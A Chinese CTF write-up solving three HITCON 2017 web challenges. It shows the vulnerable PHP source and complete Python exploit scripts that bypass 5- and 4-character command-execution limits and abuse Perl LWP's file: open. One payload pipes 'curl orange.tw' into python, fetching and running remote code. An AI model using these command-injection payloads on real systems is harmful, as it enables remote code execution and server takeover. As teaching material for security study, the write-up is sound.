HITCON2017 writeup(web)

國際賽還是水準(zhǔn)比較高的,題目都很有通用性

一、BabyFirst Revenge

源碼:

<?php
    $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 5) {
        @exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        @exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);

五個字符的命令執(zhí)行,這個還是比較簡單的,附上一種exp:

import requests

def exec_sub(cmd):
    resp = requests.post("http://52.199.204.34/?cmd="+cmd).text

def exec(cmd):
    for x in cmd:
        print(x)
        if cmd[-1]==x:
            exec_sub(">%s" % x)
            exec_sub("ls>>\\")
            exec_sub("rm %s" % x)          
        elif x==" ":
            exec_sub(">\\ \\")
            exec_sub("ls>>\\")
            exec_sub("rm ?\\")
        else:
            exec_sub(">%s\\" % x)
            exec_sub("ls>>\\")
            exec_sub("rm %s\\" % x)
    exec_sub("sh \\")

exec("wget 1759614952")

將命令分隔成單個字符,不斷新建文件、寫入、刪除,用“\”連接起來即可,最后sh執(zhí)行文件。

二、BabyFirst Revenge v2

源碼:

<?php
    $sandbox = '/www/sandbox/' . md5("orange" . $_SERVER['REMOTE_ADDR']);
    @mkdir($sandbox);
    @chdir($sandbox);
    if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {
        @exec($_GET['cmd']);
    } else if (isset($_GET['reset'])) {
        @exec('/bin/rm -rf ' . $sandbox);
    }
    highlight_file(__FILE__);

v2變成四個字符了,這時就不能用rm了,保持順序拼接命令就比較困難了,附上官方的exp

import requests
from urllib import quote

payload = [
    # 將 "g> ht- sl" 寫到文件 "v"
    '>dir', 
    '>sl', 
    '>g\>',
    '>ht-',
    '*>v',

    # 將文件"v"中的字符串倒序,放到文件"x",就變成了 "ls -th >g"
    '>rev',
    '*v>x',

    # 生成命令 "curl orange.tw|python;"
    '>\;\\', 
    '>on\\', 
    '>th\\', 
    '>py\\', 
    '>\|\\', 
    '>tw\\',
    '>e.\\', 
    '>ng\\', 
    '>ra\\', 
    '>o\\', 
    '>\ \\', 
    '>rl\\', 
    '>cu\\', 

    # getshell
    'sh x', 
    'sh g', 
]


r = requests.get('http://52.197.41.31/?reset=1')
for i in payload:
    r = requests.get('http://52.197.41.31/?cmd=' + quote(i) )

這里用"*>v"的時候,會將目錄下文件的名字連接起來,作為命令重定向到文件"v"

三、SSRFme?

源碼:

<?php 
    $sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]); 
    @mkdir($sandbox); 
    @chdir($sandbox);

    $data = shell_exec("GET " . escapeshellarg($_GET["url"])); 
    $info = pathinfo($_GET["filename"]); 
    $dir  = str_replace(".", "", basename($info["dirname"])); 
    @mkdir($dir); 
    @chdir($dir); 
    @file_put_contents(basename($info["basename"]), $data); 
    highlight_file(__FILE__);

這題主要是利用了perl的open函數(shù)執(zhí)行命令的特性,open函數(shù)的第二個參數(shù)可以將文件流用管道重定向到其它地方。比如open(FD,"|id")即可執(zhí)行id命令。
perl的LWP對于file協(xié)議的處理就調(diào)用了open函數(shù),查看file.pm文件如下:

...
opendir(D, $path) or
      return HTTP::Response->new( &HTTP::Status::RC_INTERNAL_SERVER_ERROR,
            "Cannot read directory '$path': $!");
...
# read the file
if ($method ne "HEAD") {
open(F, $path) or return new
    HTTP::Response(&HTTP::Status::RC_INTERNAL_SERVER_ERROR,
            "Cannot read file '$path': $!");
binmode(F);
$response =  $self->collect($arg, $response, sub {
    my $content = "";
    my $bytes = sysread(F, $content, $size);
    return \$content if $bytes > 0;
    return \ "";
});
close(F);
}
...

只要訪問file://|whoami就能執(zhí)行命令了,但前提是$path存在,所以要先建一個以要執(zhí)行的命令為文件名的文件。最終的exp如下:

import requests

target = "http://13.115.136.15"
requests.get(target+"/?url=127.0.0.1&filename=|bash -c /readflag")
requests.get(target+"/?url=file:|bash -c /readflag&filename=1")
print(requests.get(target+"/sandbox/c9d6ffb50b54d12fc4dfe6a4d9676fd8/1").text)
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時請結(jié)合常識與多方信息審慎甄別。
平臺聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡書系信息發(fā)布平臺,僅提供信息存儲服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • Android 自定義View的各種姿勢1 Activity的顯示之ViewRootImpl詳解 Activity...
    passiontim閱讀 179,308評論 25 708
  • Ubuntu的發(fā)音 Ubuntu,源于非洲祖魯人和科薩人的語言,發(fā)作 oo-boon-too 的音。了解發(fā)音是有意...
    螢火蟲de夢閱讀 100,805評論 9 468
  • Spring Cloud為開發(fā)人員提供了快速構(gòu)建分布式系統(tǒng)中一些常見模式的工具(例如配置管理,服務(wù)發(fā)現(xiàn),斷路器,智...
    卡卡羅2017閱讀 136,680評論 19 139
  • 在這個雷雨過后悶熱的夜晚,咳嗽的毛病又犯了,本來意識朦朧卻被急咳震的五臟六腑都燥熱起來,一下失去了困意。 回想自己...
    有生之年離別閱讀 339評論 0 0
  • 魔咒之一: 當(dāng)我把車開到停車場后,下了車,才發(fā)現(xiàn)右腳已經(jīng)軟得不好走路了,慢慢地走回辦公室,用了十分鐘的時間,平時五...
    微光綺夢閱讀 496評論 0 1

友情鏈接更多精彩內(nèi)容